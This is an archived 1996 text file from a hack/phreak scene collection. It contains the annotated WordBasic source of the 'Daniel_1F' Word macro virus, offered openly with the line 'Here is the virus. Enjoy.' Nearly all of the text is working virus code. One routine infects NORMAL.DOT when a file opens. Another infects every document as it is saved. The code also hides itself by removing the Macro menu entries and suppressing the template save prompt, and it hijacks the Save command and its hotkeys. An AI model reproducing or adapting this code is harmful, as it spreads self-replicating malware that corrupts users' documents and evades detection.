home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / MVUPDAT3.ZIP / DANIEL1F.ZIP / DANIEL1F.TXT
Text File  |  1996-09-01  |  4KB  |  103 lines
  1. Macro AutoOpen
  2.  
  3. PURPOSE:    To infected the system and modify some menu to avoid dectection ?
  4.  
  5. Sub MAIN
  6. REM You've reached! Here is the virus. Enjoy.
  7. REM This is the Word_Macro_Virus_Daniel_1F - Beta International Version.
  8. REM Please Support the Virus Concept. Have a nice Day! (BR/US)
  9.  
  10. On Error Resume Next
  11.                         *- when opening the file, direct infection of the
  12.                                         NORMAL.DOT
  13. MacroCopy FileName$(0) + ":AutoOpen", "Global:Word6Menu", 1
  14. MacroCopy FileName$(0) + ":MacroManager", "Global:MacroManager", 1
  15.                         *- modified a name of the WORD menu
  16. T$ = MenuText$(0, 1)
  17. H$ = MenuItemText$(T$, 0, 5)
  18. M$ = "&Save"
  19.                 *- adapte the text for the portugese version of Word
  20. If H$ = "ArquivoSalvar" Or H$ = "&Salvar" Then M$ = "&Salvar"
  21.                 *- delete the old menu "SAVE" and add the new one
  22.                         (correspond to the second macro)
  23. ToolsCustomizeMenus .Position = 5,  .Menu = T$,
  24.         .Name = MenuItemMacro$(T$, 0, 5), .MenuText = H$, .Context = 0,
  25.         .Remove
  26. ToolsCustomizeMenus .Position = 5, .Category = 2,
  27.         .Name = "MacroManager", .Menu = T$, .MenuText = M$, .Context = 0,
  28.         .Add
  29. ToolsCustomizeKeyboard .KeyCode = 339, .Category = 2, .Name = "MacroManager",
  30.         .Add, .Context = 0
  31. ToolsCustomizeKeyboard .KeyCode = 322, .Category = 2, .Name = "MacroManager",
  32.         .Add, .Context = 0
  33.  
  34.                 *- to avoid detection, classic now ;-)
  35. ToolsOptionsSave .GlobalDotPrompt = 0
  36. DisableAutoMacros 0
  37.                 *- Now, it deletes the OPTION/MACRO menu
  38. T$ = TexteMenu$(0, 6)
  39. M$ = "&Macro..."
  40. G = 0
  41. For n = 1 To CountMenuItems(T$, 0, 0)
  42.         Y$ = MenuItemText$(T$, 0, n, 0)
  43.         If Y$ = M$ Or Left$(Y$, 4) = "Macr" Or Left$(Y$, 4) = "&Mac"
  44.         Then G = n
  45. Next n
  46. If G <> 0 Then H$ = MenuItemText$(T$, 0, G, 0)
  47. If G <> 0 Then
  48.         ToolsCustomizeMenus .Position = G,  .Menu = T$,
  49.                 .Name = MenuItemMacro$(T$, 0, G, 0), .MenuText = H$,
  50.                 .Context = 0, .Remove
  51.         End if
  52. T$ = MenuText$(1, 1)
  53. M$ = "&Macro..."
  54. G = 0
  55. For n = 1 To CountMenuItems(T$, 1, 0)
  56.         Y$ = MenuItemText$(T$, 1, n, 0)
  57.         If Y$ = M$ Or Left$(Y$, 4) = "Macr" Or Left$(Y$, 4) = "&Mac" Then
  58.                 G = n
  59. Next n
  60. If G <> 0 Then H$ = MenuItemText$(T$, 1, G, 0)
  61. If G <> 0 Then
  62.         ToolsCustomizeMenus .MenuType = 1, .Position = G,  .Menu = T$,
  63.                 .Name = MenuItemMacro$(T$, 1, G, 0), .MenuText = H$,
  64.                 .Context = 0, .Remove
  65. On Error Goto 0
  66. End Sub
  67. ---------------------------------------------------
  68. Macro MacroManager
  69.  
  70. PURPOSE:    To infected each file when you save it.
  71.  
  72. Sub MAIN
  73. On Error Goto CX
  74.                         *- protection for the autoexecute macro
  75. DisableAutoMacros 0
  76.                         *- to avoid the confirmation when the virus
  77.                                 infected the NORMAL.DOT
  78. ToolsOptionsSave .GlobalDotPrompt = 0
  79.  
  80. N$ = UCase$(Right$(FileName$(0), 3))
  81. If N$ <> "DOC" And N$ <> "DOT" Then Goto CX
  82. E = CountMacros(1)
  83. X = 0
  84.                         *- the virus searchs if the system is still infected
  85. For i = 1 To E
  86.         If MacroName$(i, 1) = "MacroManager" Then X = 1
  87.         If MacroName$(i, 1) = "AutoOpen" Then X = 1
  88. Next i
  89. If X = 1 Then Goto CX    *- it's infected , exit
  90.                          *- else it infected the system
  91. FileSaveAs .Name = FileName$(0), .Format = 1, .AddToMru = 1, .EmbedFonts = 1
  92.                          *- modifie the name of a macro
  93. MacroCopy "Global:Word6Menu", FileName$(0) + ":AutoOpen", 1
  94. MacroCopy "Global:MacroManager", FileName$(0) + ":MacroManager", 1
  95. CX:
  96.                         *- information of the creator of the virus
  97. FileSummaryInfo .Keywords = "Daniel_Stone",
  98.         .Comments = "All information should be free."
  99. FileSave       *- save all the modifications
  100. On Error Goto 0
  101. End Sub
  102. ---------------------------------------
  103.